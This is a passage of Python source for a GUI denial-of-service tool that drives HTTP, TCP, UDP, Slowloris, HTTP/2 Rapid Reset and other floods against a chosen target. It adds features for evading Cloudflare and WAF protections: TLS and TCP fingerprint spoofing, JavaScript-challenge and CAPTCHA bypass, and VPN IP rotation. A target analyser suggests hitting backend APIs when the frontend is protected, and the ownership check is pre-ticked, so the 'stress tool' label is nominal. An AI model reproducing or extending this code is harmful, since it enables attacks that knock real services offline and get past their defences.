def _attack_loop(self, mode):
target = self.target.get()
threads = self.threads.get()
duration = self.duration.get()
integrated_modes = {"Integrated", "TCP SYN", "Minecraft", "VSE", "UDP Random", "Rotating Targets", "Port Scan"}
new_attack_modes = {"WebSocket Flood", "H2 Rapid Reset", "Async Slowloris"}
if mode in new_attack_modes:
# New standalone attack vectors
self.log(f"Starting {mode} attack...", "INFO")
parsed = urllib.parse.urlparse(target)
host = parsed.hostname or target
port = parsed.port or (443 if parsed.scheme == 'https' else 80)
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
if mode == "WebSocket Flood":
loop.run_until_complete(websocket_flood(target, connections=threads, duration=duration))
elif mode == "H2 Rapid Reset":
loop.run_until_complete(h2_rapid_reset_attack(target, streams_per_connection=100, connections=threads, duration=duration))
elif mode == "Async Slowloris":
loop.run_until_complete(async_slowloris_attack(host, port=port, connections=threads, duration=duration))
except Exception as e:
self.root.after(0, self.log, f"❌ Attack error: {str(e)}", "ERROR")
finally:
self.root.after(0, self._attack_finished)
elif mode in integrated_modes:
selected_vpn_mode = self.vpn_mode.get()
attack_mode = {
"TCP SYN": "tcp_syn",
"Minecraft": "mine",
"VSE": "vse",
"UDP Random": "udp_random",
"Rotating Targets": "integrated",
"Port Scan": "integrated",
}.get(mode, "integrated")
self.engine = UltimateIntegratedEngine(
target=target, threads=threads, duration=duration,
use_identities=self.use_identities.get(),
use_human_timing=self.use_human_timing.get(),
use_cffi=self.use_cffi.get(),
use_js_bypass=self.use_js_bypass.get(),
use_tcp_spoof=self.use_tcp_spoof.get(),
use_ai_payload=self.use_ai_payload.get(),
use_captcha=self.use_captcha.get(),
keepalive=self.use_keepalive.get(),
use_http2=self.use_http2.get(),
random_query=self.use_random_query.get(),
request_rate=self.request_rate.get(),
total_requests=self.requests.get(),
http_method=self.method.get(),
vpn_mode=selected_vpn_mode,
geo=self.geo.get(),
max_load=self.max_load.get(),
attack_mode=attack_mode,
proxy_file=self.proxy_file.get().strip() if self.proxy_file.get().strip() else None
)
self.engine.set_log_callback(self.log)
self.system_status['Identity Pool'].config(text="🔄 Active", foreground='#00ff41')
self.system_status['Human Timer'].config(text="🔄 Active", foreground='#00ff41')
self.system_status['TLS Spoof'].config(text="🔄 Active" if self.use_cffi.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_cffi.get() else '#ffaa00')
self.system_status['JS Bypass'].config(text="🔄 Active" if self.use_js_bypass.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_js_bypass.get() else '#ffaa00')
self.system_status['TCP Spoof'].config(text="🔄 Active" if self.use_tcp_spoof.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_tcp_spoof.get() else '#ffaa00')
self.system_status['AI Payload'].config(text="🔄 Active" if self.use_ai_payload.get() else "⏸️ Disabled", foreground='#00ff41' if self.use_ai_payload.get() else '#ffaa00')
self.system_status['VPN Rotator'].config(text="🔄 Active" if self.vpn_mode.get() != "System Default" else "⏸️ Disabled", foreground='#00ff41' if self.vpn_mode.get() != "System Default" else '#ffaa00')
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
loop.run_until_complete(self.engine.start_attack())
except Exception as e:
self.root.after(0, self.log, f"❌ Attack error: {str(e)}", "ERROR")
finally:
self.root.after(0, self._attack_finished)
else:
# أوضاع الهجمات الكلاسيكية
self.log(f"Starting {mode} attack...", "INFO")
if mode == "HTTP Flood":
identity_pool = None
if self.use_identities.get():
proxy_path = self.proxy_var.get() if hasattr(self, 'proxy_var') else self.proxy_file.get()
proxies = load_proxy_list(proxy_path) if proxy_path else []
identity_pool = IdentityPool(geo=self.geo.get(), proxies=proxies, target_url=target)
http_flood(
url=target, total_requests=100000, workers=threads,
method="GET", payload="", rate=self.request_rate.get(), duration=duration if duration > 0 else None,
extra_headers=True, use_playwright=self.use_js_bypass.get(),
keepalive=self.use_keepalive.get(), random_query=self.use_random_query.get(), app_mode=False,
logger=logging.getLogger(), identity_pool=identity_pool,
human_timing=self.use_human_timing.get(),
use_cffi=self.use_cffi.get(),
tcp_spoof=self.use_tcp_spoof.get(),
ai_payload=self.use_ai_payload.get()
)
elif mode == "TCP Flood":
tcp_connection_flood(target.split("//")[1].split(":")[0] if "//" in target else target,
int(target.split(":")[2]) if ":" in target else 80,
total_connections=10000, workers=threads,
send_payload=False, rate=self.request_rate.get(), duration=duration if duration > 0 else None,
logger=logging.getLogger())
elif mode == "UDP Flood":
udp_flood(target.split("//")[1].split(":")[0] if "//" in target else target,
int(target.split(":")[2]) if ":" in target else 80,
total_packets=100000, packet_size=1400,
rate=self.request_rate.get(), duration=duration if duration > 0 else None,
logger=logging.getLogger())
elif mode == "Slowloris":
slowloris_attack(target.split("//")[1].split(":")[0] if "//" in target else target,
int(target.split(":")[2]) if ":" in target else 80,
total_connections=1000, rate=self.request_rate.get(), duration=duration if duration > 0 else None,
logger=logging.getLogger())
elif mode == "XML-RPC":
xmlrpc_request(target, "http://127.0.0.1/source", extra_headers=True)
elif mode == "Slow HTTP":
slow_http_post_request(target, "message=payload", chunk_size=1, chunk_delay=10.0, extra_headers=True)
self.root.after(0, self._attack_finished)
def _attack_finished(self):
self.attack_running = False
self.attack_thread = None
self.start_btn.config(state=tk.NORMAL, text="⚡ START ATTACK")
self.stop_btn.config(state=tk.DISABLED)
if self.engine and self.engine.stop_requested:
self.status_bar.config(text="🛑 ATTACK STOPPED")
self.log("🛑 Attack stopped by user.", "WARNING")
else:
self.status_bar.config(text="✅ ATTACK COMPLETED")
self.log("✅ Attack finished!", "SUCCESS")
if self.engine:
stats = self.engine.get_stats()
self._update_stats_ui(stats)
self.engine = None
def toggle_bypass(self):
current = self.use_js_bypass.get()
self.use_js_bypass.set(not current)
self.bypass_btn.config(text='JS Bypass ON' if not current else 'JS Bypass OFF')
self.log(f"[Bypass] {'Enabled' if not current else 'Disabled'} ?api= injection", "INFO")
def stop_attack(self):
if not self.attack_running:
return
if self.engine and self.engine.stop_requested:
return
if self.engine:
self.engine.stop()
self.start_btn.config(state=tk.DISABLED)
self.stop_btn.config(state=tk.DISABLED)
self.log("🛑 Stopping attack...", "WARNING")
self.status_bar.config(text="🛑 STOPPING...")
def _update_stats_loop(self):
if self.engine and self.attack_running:
stats = self.engine.get_stats()
self._update_stats_ui(stats)
self.root.after(1000, self._update_stats_loop)
def _update_stats_ui(self, stats: Dict):
mapping = {
'Total': 'total', 'Status 200': 'status_200', 'Status 400': 'status_400',
'Status 403': 'status_403', 'Status 429': 'status_429', 'Status 500': 'status_500',
'Status 502': 'status_502', 'Status 503': 'status_503', 'Status 504': 'status_504',
'Errors': 'errors', 'Timeouts': 'timeouts'
}
for label, key in mapping.items():
value = stats.get(key, 0)
self.stats_labels[label].config(text=str(value))
# تحديث لوحة الـ Analytics
if 'analytics' in stats:
analytics = stats['analytics']
lat = analytics.get('latency', {}).get('avg', 0)
self.analytics_labels['Latency (ms)'].config(text=f"{lat:.1f}")
self.analytics_labels['Peak RPS'].config(text=f"{analytics.get('rps', {}).get('peak', 0):.0f}")
dmg = analytics.get('damage', 0)
self.analytics_labels['Damage Score'].config(text=f"{dmg:.1f}%")
self.analytics_labels['Server Health'].config(text=analytics.get('health', 'UNKNOWN'))
total = stats.get('total', 0)
blocked = stats.get('status_403', 0) + stats.get('status_429', 0) + stats.get('status_503', 0)
if total > 0:
block_rate = (blocked / total) * 100
if block_rate > 70:
self.shield_label.config(text=f"🔴 HEAVY BLOCKING! ({block_rate:.0f}%) - Evasion systems activated", foreground='#ff0044')
elif block_rate > 30:
self.shield_label.config(text=f"🟡 Partial blocking ({block_rate:.0f}%) - Adaptive delay active", foreground='#ffaa00')
else:
self.shield_label.config(text=f"🟢 ATTACK SUCCESSFUL! ({block_rate:.0f}% blocked) - Stealth mode optimal", foreground='#00ff41')
if self.duration.get() > 0:
rps = total / (self.duration.get() or 1)
self.status_bar.config(text=f"⚡ RPS: {rps:.0f} | Total: {total} | Blocked: {blocked} ({block_rate:.0f}%)")
def run(self):
try:
self.root.deiconify()
self.root.lift()
self.root.attributes('-topmost', True)
self.root.after(1000, lambda: self.root.attributes('-topmost', False))
except Exception:
pass
self.root.mainloop()
class PowerAttackGUI:
def __init__(self, root):
self.root = root
self.root.title("Crazy Speed")
self.root.geometry("600x750")
# Main Frame
main_frame = ttk.Frame(self.root, padding="10")
main_frame.pack(fill=tk.BOTH, expand=True)
# --- Mode Selection ---
ttk.Label(main_frame, text="Mode:").grid(row=0, column=0, sticky=tk.W, pady=5)
self.mode_var = tk.StringVar(value="async-http")
modes = ["async-http", "http", "http-app", "tcp", "slow-http", "slowloris", "async-slowloris", "websocket-flood", "h2-rapid-reset", "xmlrpc", "udp-frag", "udp-flood", "dns-amplification", "tcp-rst", "port-scan", "rotating-targets"]
self.mode_combo = ttk.Combobox(main_frame, textvariable=self.mode_var, values=modes, state="readonly")
self.mode_combo.grid(row=0, column=1, sticky=tk.EW, pady=5)
# --- Target / Host ---
ttk.Label(main_frame, text="Target/Host:").grid(row=1, column=0, sticky=tk.W, pady=5)
target_frame = ttk.Frame(main_frame)
target_frame.grid(row=1, column=1, sticky=tk.EW, pady=5)
target_frame.columnconfigure(0, weight=1)
self.target_var = tk.StringVar(value="http://127.0.0.1:8000")
ttk.Entry(target_frame, textvariable=self.target_var).grid(row=0, column=0, sticky=tk.EW)
ttk.Button(target_frame, text="🔍 Check Target", command=self.check_target).grid(row=0, column=1, padx=(5, 0))
# --- Port ---
ttk.Label(main_frame, text="Port:").grid(row=2, column=0, sticky=tk.W, pady=5)
self.port_var = tk.StringVar(value="8000")
ttk.Entry(main_frame, textvariable=self.port_var).grid(row=2, column=1, sticky=tk.EW, pady=5)
# --- Method ---
ttk.Label(main_frame, text="Method (HTTP):").grid(row=3, column=0, sticky=tk.W, pady=5)
self.method_var = tk.StringVar(value="GET")
methods = ["GET", "POST"]
self.method_combo = ttk.Combobox(main_frame, textvariable=self.method_var, values=methods, state="readonly")
self.method_combo.grid(row=3, column=1, sticky=tk.EW, pady=5)
# --- Workers (Threads) ---
ttk.Label(main_frame, text="Workers (Threads):").grid(row=4, column=0, sticky=tk.W, pady=5)
self.workers_var = tk.StringVar(value="500")
ttk.Entry(main_frame, textvariable=self.workers_var).grid(row=4, column=1, sticky=tk.EW, pady=5)
# --- Requests / Connections ---
ttk.Label(main_frame, text="Requests/Connections:").grid(row=5, column=0, sticky=tk.W, pady=5)
self.requests_var = tk.StringVar(value="500000")
ttk.Entry(main_frame, textvariable=self.requests_var).grid(row=5, column=1, sticky=tk.EW, pady=5)
# --- Payload / Attack Rate ---
ttk.Label(main_frame, text="POST Payload:").grid(row=6, column=0, sticky=tk.W, pady=5)
self.payload_var = tk.StringVar(value="message=payload")
ttk.Entry(main_frame, textvariable=self.payload_var).grid(row=6, column=1, sticky=tk.EW, pady=5)
ttk.Label(main_frame, text="Rate (req/sec):").grid(row=7, column=0, sticky=tk.W, pady=5)
self.rate_var = tk.StringVar(value="0")
ttk.Entry(main_frame, textvariable=self.rate_var).grid(row=7, column=1, sticky=tk.EW, pady=5)
ttk.Label(main_frame, text="Duration (sec):").grid(row=8, column=0, sticky=tk.W, pady=5)
self.duration_var = tk.StringVar(value="0")
ttk.Entry(main_frame, textvariable=self.duration_var).grid(row=8, column=1, sticky=tk.EW, pady=5)
# --- Proxy Selection ---
ttk.Label(main_frame, text="Proxy Mode:").grid(row=9, column=0, sticky=tk.W, pady=5)
self.proxy_mode_var = tk.StringVar(value="System Default")
proxy_modes = [
"System Default",
"Cloudflare WARP",
"Tuxler (Residential)",
"Tuxler (Data Center)",
"Custom Proxy File (.txt)"
]
self.proxy_mode_combo = ttk.Combobox(main_frame, textvariable=self.proxy_mode_var, values=proxy_modes, state="readonly")
self.proxy_mode_combo.grid(row=9, column=1, sticky=tk.EW, pady=5)
self.proxy_mode_combo.bind("<<ComboboxSelected>>", self.toggle_proxy_file_entry)
self.proxy_file_label = ttk.Label(main_frame, text="Proxy File (.txt):")
self.proxy_file_label.grid(row=10, column=0, sticky=tk.W, pady=5)
self.proxy_file_label.grid_remove() # Hidden by default
self.proxy_frame = ttk.Frame(main_frame)
self.proxy_frame.grid(row=10, column=1, sticky=tk.EW, pady=5)
self.proxy_frame.grid_remove() # Hidden by default
self.proxy_var = tk.StringVar(value="")
ttk.Entry(self.proxy_frame, textvariable=self.proxy_var).pack(side=tk.LEFT, fill=tk.X, expand=True)
ttk.Button(self.proxy_frame, text="Browse", command=self.browse_proxy).pack(side=tk.RIGHT, padx=(5, 0))
# --- Anti-Detection Checkboxes ---
ttk.Label(main_frame, text="Advanced Anti-Detection:").grid(row=8, column=0, sticky=tk.W, pady=(10,0))
self.use_identities_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Identity Pools (--use-identities)", variable=self.use_identities_var).grid(row=8, column=0, sticky=tk.W, pady=2)
self.use_cffi_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="TLS Spoofing (--use-cffi)", variable=self.use_cffi_var).grid(row=8, column=1, sticky=tk.W, pady=2)
self.js_bypass_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Playwright JS Bypass (--js-bypass)", variable=self.js_bypass_var).grid(row=9, column=0, sticky=tk.W, pady=2)
self.human_timing_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Human Timing (--human-timing)", variable=self.human_timing_var).grid(row=9, column=1, sticky=tk.W, pady=2)
self.no_honeypots_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Honeypot Evasion (--no-honeypots)", variable=self.no_honeypots_var).grid(row=11, column=0, sticky=tk.W, pady=2)
self.tcp_spoof_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="TCP/IP OS Spoofing (--tcp-spoof) [Admin Only]", variable=self.tcp_spoof_var).grid(row=11, column=1, sticky=tk.W, pady=2)
self.extra_headers_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Extra HTTP Headers (--extra-headers)", variable=self.extra_headers_var).grid(row=12, column=0, sticky=tk.W, pady=2)
self.keepalive_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Keep-Alive (--keepalive)", variable=self.keepalive_var).grid(row=12, column=1, sticky=tk.W, pady=2)
self.random_query_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Random Query Params (--random-query)", variable=self.random_query_var).grid(row=13, column=0, sticky=tk.W, pady=2)
self.geo_var = tk.StringVar(value="default")
ttk.Label(main_frame, text="Geo Target:").grid(row=13, column=1, sticky=tk.W, pady=5)
self.geo_combo = ttk.Combobox(main_frame, textvariable=self.geo_var, values=list(GEO_PROFILES.keys()), state="readonly")
self.geo_combo.grid(row=14, column=1, sticky=tk.EW, pady=5)
self.captcha_key_var = tk.StringVar(value="")
ttk.Label(main_frame, text="Captcha Key:").grid(row=14, column=0, sticky=tk.W, pady=5)
ttk.Entry(main_frame, textvariable=self.captcha_key_var).grid(row=15, column=0, columnspan=2, sticky=tk.EW, pady=5)
self.ai_payload_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="AI Payload Generation (--ai-payload)", variable=self.ai_payload_var).grid(row=16, column=0, sticky=tk.W, pady=2)
self.ai_decision_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="AI Attack Selector", variable=self.ai_decision_var).grid(row=11, column=2, sticky=tk.W, pady=2)
self.ip_rotation_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="🔄 Auto IP Rotation (every 5 min)", variable=self.ip_rotation_var).grid(row=11, column=1, sticky=tk.W, pady=2)
# --- Base Options ---
ttk.Label(main_frame, text="Base Options:").grid(row=12, column=0, sticky=tk.W, pady=(10,0))
self.confirm_var = tk.BooleanVar(value=True)
ttk.Checkbutton(main_frame, text="Confirm Ownership (--confirm)", variable=self.confirm_var).grid(row=12, column=0, sticky=tk.W, pady=2)
self.allow_remote_var = tk.BooleanVar(value=False)
ttk.Checkbutton(main_frame, text="Allow Remote (--allow-remote)", variable=self.allow_remote_var).grid(row=12, column=1, sticky=tk.W, pady=2)
self.start_local_server_var = tk.BooleanVar(value=False)
ttk.Checkbutton(main_frame, text="Start Local Server (--start-local-server)", variable=self.start_local_server_var).grid(row=13, column=0, sticky=tk.W, pady=2)
# --- Run Button ---
self.run_button = ttk.Button(main_frame, text="Start Attack", command=self.start_attack)
self.run_button.grid(row=14, column=0, columnspan=2, pady=15)
button_frame = ttk.Frame(main_frame)
button_frame.grid(row=15, column=0, columnspan=2, pady=5)
self.stop_button = ttk.Button(button_frame, text="Stop Attack", command=self.stop_attack, state=tk.DISABLED)
self.stop_button.pack(side=tk.LEFT, padx=5)
# Dependency installation is now completely handled by UltimateIntegratedGUI.
# --- Console Output ---
ttk.Label(main_frame, text="Output:").grid(row=16, column=0, sticky=tk.W, pady=5)
self.console = tk.Text(main_frame, height=15, width=60, state=tk.DISABLED, bg="black", fg="lightgreen")
self.console.grid(row=17, column=0, columnspan=2, sticky=tk.NSEW)
# --- Status Indicator ---
status_frame = ttk.Frame(main_frame)
status_frame.grid(row=18, column=0, columnspan=2, pady=5)
self.status_label = tk.Label(status_frame, text="🔴 Stopped", fg="red", font=("Arial", 12, "bold"))
self.status_label.pack(side=tk.LEFT, padx=20)
# --- Protection Shield (Live WAF Detection) ---
self.shield_label = tk.Label(status_frame, text="🛡️ Protection: Waiting...", fg="gray", font=("Arial", 11, "bold"))
self.shield_label.pack(side=tk.LEFT, padx=20)
main_frame.columnconfigure(1, weight=1)
main_frame.rowconfigure(17, weight=1)
self.process = None
self.vpn_rotator = None
self.ai_restart_pending = False
self.manual_stop = False
self.ai_decider = AIDecisionEngine(self)
# Dependency installation is handled by UltimateIntegratedGUI.
def toggle_proxy_file_entry(self, event=None):
mode = self.proxy_mode_var.get()
if mode == "Custom Proxy File (.txt)":
self.proxy_file_label.grid()
self.proxy_frame.grid()
else:
self.proxy_file_label.grid_remove()
self.proxy_frame.grid_remove()
def browse_proxy(self):
filename = filedialog.askopenfilename(
title="Select Proxy List",
filetypes=(("Text files", "*.txt"), ("All files", "*.*"))
)
if filename:
self.proxy_var.set(filename)
def log(self, message):
# Parse shield status from engine output
if "[SHIELD:RED]" in message:
self.shield_label.config(text="🔴 BLOCKED! Change IP/Proxy!", foreground="red")
elif "[SHIELD:YELLOW]" in message:
self.shield_label.config(text="🟡 Partial Detection", foreground="#DAA520")
elif "[SHIELD:GREEN]" in message:
self.shield_label.config(text="🟢 Undetected (Stealth OK)", foreground="green")
self.console.config(state=tk.NORMAL)
self.console.insert(tk.END, message + "\n")
self.console.see(tk.END)
self.console.config(state=tk.DISABLED)
def check_target(self):
target = self.target_var.get().strip()
if not target.startswith("http"):
messagebox.showerror("Error", "Target must start with http:// or https://")
return
self.log(f"[*] Analyzing target: {target}...")
self.root.update()
def run_analysis():
import urllib.request
import urllib.error
import urllib.parse
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
req = urllib.request.Request(target, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'})
with urllib.request.urlopen(req, context=ctx, timeout=10) as response:
html = response.read().decode('utf-8', errors='ignore').lower()
headers = {k.lower(): v.lower() for k, v in response.headers.items()}
status = response.status
except urllib.error.HTTPError as e:
html = e.read().decode('utf-8', errors='ignore').lower()
headers = {k.lower(): v.lower() for k, v in e.headers.items()}
status = e.code
except Exception as e:
self.root.after(0, self.log, f"[!] Analysis failed: {str(e)}")
return
self.root.after(0, self.log, f"[+] Status Code: {status}")
# Auto-Extract Port
parsed_url = urllib.parse.urlparse(target)
port = parsed_url.port
if not port:
port = 443 if parsed_url.scheme == 'https' else 80
self.root.after(0, self.port_var.set, str(port))
# Smart Selection Logic
cf_detected = 'cloudflare' in headers.get('server', '') or 'cf-ray' in headers
js_challenge = status in [403, 503] and ('just a moment' in html or 'cloudflare' in html or 'ddos-guard' in html)
captcha = 'g-recaptcha' in html or 'h-captcha' in html
if cf_detected or js_challenge:
self.root.after(0, self.log, "[!] Cloudflare/WAF detected. Enabling JS Bypass & Human Timing.")
self.root.after(0, self.js_bypass_var.set, True)
self.root.after(0, self.human_timing_var.set, True)
self.root.after(0, self.use_cffi_var.set, True)
# Lower workers for stealth against WAFs
self.root.after(0, self.workers_var.set, "50")
self.root.after(0, self.requests_var.set, "10000")
else:
# Target seems unprotected, crank up the load
self.root.after(0, self.workers_var.set, "200")
self.root.after(0, self.requests_var.set, "100000")
if captcha:
self.root.after(0, self.log, "[!] CAPTCHA detected. (Make sure you have --captcha-key set if automating).")
self.root.after(0, self.js_bypass_var.set, True) # Playwright is needed for captcha
if 'form' in html or 'input' in html:
self.root.after(0, self.log, "[+] Input forms detected. Enabling AI Payload Generation.")
self.root.after(0, self.ai_payload_var.set, True)
self.root.after(0, self.method_var.set, "POST")
if status == 200 and not cf_detected:
self.root.after(0, self.log, "[+] Target looks unprotected. Standard HTTP flood recommended.")
self.root.after(0, self.mode_var.set, "http")
# --- Network Target Extraction (Alternative Targets) ---
import re
# Find paths like /api/..., /wp-json/..., /admin/..., /ajax/..., or any .php endpoint
api_paths = re.findall(r'["\'](/[\w-]+/[^"\']*|/[^"\']*\.php[^"\']*)["\']', html)
# Filter out common junk paths (css, js, images)
api_paths = [p for p in api_paths if not p.endswith(('.css', '.js', '.png', '.jpg', '.jpeg', '.svg', '.gif', '.ico'))]
subdomains = []
if parsed_url.hostname:
# Extract base domain (e.g., example.com)
parts = parsed_url.hostname.split('.')
base_domain = ".".join(parts[-2:]) if len(parts) >= 2 else parsed_url.hostname
pattern = r'https?://([a-zA-Z0-9.-]+\.' + re.escape(base_domain) + r')'
subdomains = re.findall(pattern, html)
alt_targets = set(api_paths + subdomains)
if alt_targets:
self.root.after(0, self.log, "\n[🕸️] Network Console Analysis:")
self.root.after(0, self.log, f"Found {len(alt_targets)} potential backend/API targets:")
for alt in list(alt_targets)[:5]: # Show top 5
if alt.startswith('/'):
alt = f"{parsed_url.scheme}://{parsed_url.netloc}{alt}"
elif not alt.startswith('http'):
alt = f"https://{alt}"
self.root.after(0, self.log, f" -> {alt}")
self.root.after(0, self.log, "Tip: You can target these APIs directly if the frontend is protected!\n")
# Always enable identity pools for stealth
self.root.after(0, self.use_identities_var.set, True)
self.root.after(0, self.allow_remote_var.set, True)
self.root.after(0, self.log, f"[+] Auto-configuration complete (Port: {port}). Ready to start.")
threading.Thread(target=run_analysis, daemon=True).start()
def start_attack(self):
if not self.confirm_var.get():
messagebox.showerror("Error", "You must confirm ownership to run the attack.")
return
script_path = os.path.abspath(__file__)
if self.ai_decision_var.get():
self.ai_decider.choose_initial_plan()
self.manual_stop = False
self.ai_restart_pending = False
cmd = [
sys.executable, script_path,
"--mode", self.mode_var.get(),
"--port", self.port_var.get(),
"--workers", self.workers_var.get(),
"--method", self.method_var.get()
]
if self.mode_var.get() in ["http", "http-app", "async-http", "xmlrpc", "slow-http"]:
cmd.extend(["--target", self.target_var.get()])
cmd.extend(["--requests", self.requests_var.get()])
else:
cmd.extend(["--host", self.target_var.get()])
cmd.extend(["--connections", self.requests_var.get()])
if self.ai_decision_var.get():
self.ai_decider.choose_initial_plan()
if self.confirm_var.get():
cmd.append("--confirm")
if self.allow_remote_var.get():
cmd.append("--allow-remote")
if self.start_local_server_var.get():
cmd.append("--start-local-server")
if self.use_identities_var.get():
cmd.append("--use-identities")
if self.use_cffi_var.get():
cmd.append("--use-cffi")
if self.js_bypass_var.get():
cmd.append("--js-bypass")
if self.human_timing_var.get():
cmd.append("--human-timing")
if self.no_honeypots_var.get():
cmd.append("--no-honeypots")
if self.extra_headers_var.get():
cmd.append("--extra-headers")
if self.keepalive_var.get():
cmd.append("--keepalive")
if self.random_query_var.get():
cmd.append("--random-query")
if self.geo_var.get() and self.geo_var.get() != "default":
cmd.extend(["--geo", self.geo_var.get()])
if self.captcha_key_var.get().strip():
cmd.extend(["--captcha-key", self.captcha_key_var.get().strip()])
if self.payload_var.get().strip():
cmd.extend(["--payload", self.payload_var.get().strip()])
if self.rate_var.get().strip() and self.rate_var.get().strip() != "0":
cmd.extend(["--rate", self.rate_var.get().strip()])
if self.duration_var.get().strip() and self.duration_var.get().strip() != "0":
cmd.extend(["--duration", self.duration_var.get().strip()])
if getattr(self, "tcp_spoof_var", tk.BooleanVar(value=False)).get():
cmd.append("--tcp-spoof")
if getattr(self, "ai_payload_var", tk.BooleanVar(value=False)).get():
cmd.append("--ai-payload")
mode = self.proxy_mode_var.get()
if mode == "Custom Proxy File (.txt)":
proxy_file = self.proxy_var.get().strip()
if proxy_file and os.path.exists(proxy_file):
cmd.extend(["--proxies", proxy_file])
elif mode in ["Cloudflare WARP", "Tuxler (Residential)", "Tuxler (Data Center)"]:
is_data_center = "Data Center" in mode
app_name = "Cloudflare WARP" if "Cloudflare" in mode else "Tuxler VPN"
vpn_status = self.detect_vpn_installation()
if app_name == "Cloudflare WARP" and not vpn_status["Cloudflare WARP"]:
self.log("[!] Cloudflare WARP not detected. Attempting automatic install...")
installed = self._install_vpn_if_needed("Cloudflare WARP")
if not installed:
messagebox.showwarning("VPN Not Found", "Cloudflare WARP was not detected and could not be installed automatically.")
return
if app_name == "Tuxler VPN" and not vpn_status["Tuxler VPN"]:
self.log("[!] Tuxler VPN not detected. Attempting automatic install...")
installed = self._install_vpn_if_needed("Tuxler VPN")
if not installed:
messagebox.showwarning("VPN Not Found", "Tuxler VPN was not detected and could not be installed automatically.")
return
self.log(f"[*] Attempting to launch {app_name}...")
# Kill other VPNs to prevent conflict
try:
if app_name != "Cloudflare WARP":
subprocess.run(["taskkill", "/F", "/IM", "Cloudflare WARP.exe"], capture_output=True)
subprocess.run(["taskkill", "/F", "/IM", "warp-svc.exe"], capture_output=True)
if app_name != "Tuxler VPN":
subprocess.run(["taskkill", "/F", "/IM", "TuxlerVPN.exe"], capture_output=True)
except Exception:
pass
try:
if app_name == "Cloudflare WARP":
self.log("[*] Configuring Cloudflare WARP for 'Traffic and DNS (UDP)' mode...")
try:
import platform
if platform.system() == "Windows":
# Launch the WARP GUI app so user can see it
gui_paths = [
r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe"
]
for gp in gui_paths:
if os.path.exists(gp):
subprocess.Popen(gp, shell=True)
self.log("[+] Cloudflare WARP GUI opened.")
break
warp_bin = r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe"
if not os.path.exists(warp_bin):
warp_bin = r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe"
else:
warp_bin = "/usr/bin/warp-cli" if os.path.exists("/usr/bin/warp-cli") else "warp-cli"
import time as _t
_t.sleep(2) # Wait for WARP service to be ready
subprocess.run([warp_bin, "set-mode", "warp+doh"], capture_output=True, timeout=5)
self.log("[+] WARP Mode set to: Traffic and DNS (UDP)")
subprocess.run([warp_bin, "connect"], capture_output=True, timeout=5)
self.log("[+] Cloudflare WARP CONNECTED successfully.")
except Exception as e:
self.log(f"[!] Could not auto-connect Cloudflare WARP. Please start it manually: {e}")
elif app_name == "Tuxler VPN":
if not self._launch_tuxler_application(is_data_center=is_data_center):
messagebox.showwarning("VPN Launch Failed", "Could not launch Tuxler VPN. Please open it manually and try again.")
return
else:
self.log(f"[!] Auto-launch not supported for {app_name}. Please start it manually.")
except Exception as e:
self.log(f"[!] Failed to auto-launch {app_name}: {e}")
self.console.config(state=tk.NORMAL)
self.console.delete(1.0, tk.END)
self.console.config(state=tk.DISABLED)
self.log(f"Running command: {' '.join(cmd)}")
self.run_button.config(state=tk.DISABLED)
self.stop_button.config(state=tk.NORMAL)
# Update Status Indicator
self.status_label.config(text="🟢 Attack Running...", fg="green")
# Start VPN IP Rotation if enabled
self.vpn_rotator = None
if self.ip_rotation_var.get():
proxy_mode = self.proxy_mode_var.get()
if proxy_mode and proxy_mode != "System Default" and proxy_mode != "Custom Proxy File (.txt)":
self.vpn_rotator = VPNRotator(vpn_mode=proxy_mode, interval_seconds=300)
self.vpn_rotator.start()
self.log("[🔄] VPN IP Auto-Rotation ENABLED (every 5 minutes)")
else:
self.log("[⚠️] IP Rotation requires a VPN Proxy Mode (WARP/Tuxler)")
# Run process in a separate thread so GUI doesn't freeze
self.thread = threading.Thread(target=self.run_process, args=(cmd,), daemon=True)
self.thread.start()
def run_process(self, cmd):
try:
# We use subprocess.PIPE to capture output
self.process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1)
for line in self.process.stdout:
line = line.strip()
self.root.after(0, self.log, line)
if self.ai_decision_var.get():
decision = self.ai_decider.process_line(line)
if decision and decision.get("restart"):
self.ai_restart_pending = True
self.process.terminate()
break
self.process.wait()
self.root.after(0, self.log, f"\nProcess finished with code {self.process.returncode}")
except Exception as e:
self.root.after(0, self.log, f"Error starting process: {e}")
finally:
if self.ai_restart_pending and not self.manual_stop:
self.ai_restart_pending = False
self.root.after(1000, self.start_attack)
self.root.after(0, self.reset_buttons)
def stop_attack(self):
self.manual_stop = True
if self.process and self.process.poll() is None:
self.log("Stopping process...")
self.process.terminate()
if self.vpn_rotator:
self.vpn_rotator.stop()
self.vpn_rotator = None
def reset_buttons(self):
self.run_button.config(state=tk.NORMAL)
self.stop_button.config(state=tk.DISABLED)
self.status_label.config(text="🔴 Stopped", fg="red")
self.shield_label.config(text="🛡️ Protection: Waiting...", fg="gray")
if self.vpn_rotator:
self.vpn_rotator.stop()
self.vpn_rotator = None
def parse_args():
parser = argparse.ArgumentParser(description="High-performance network stress tool.")
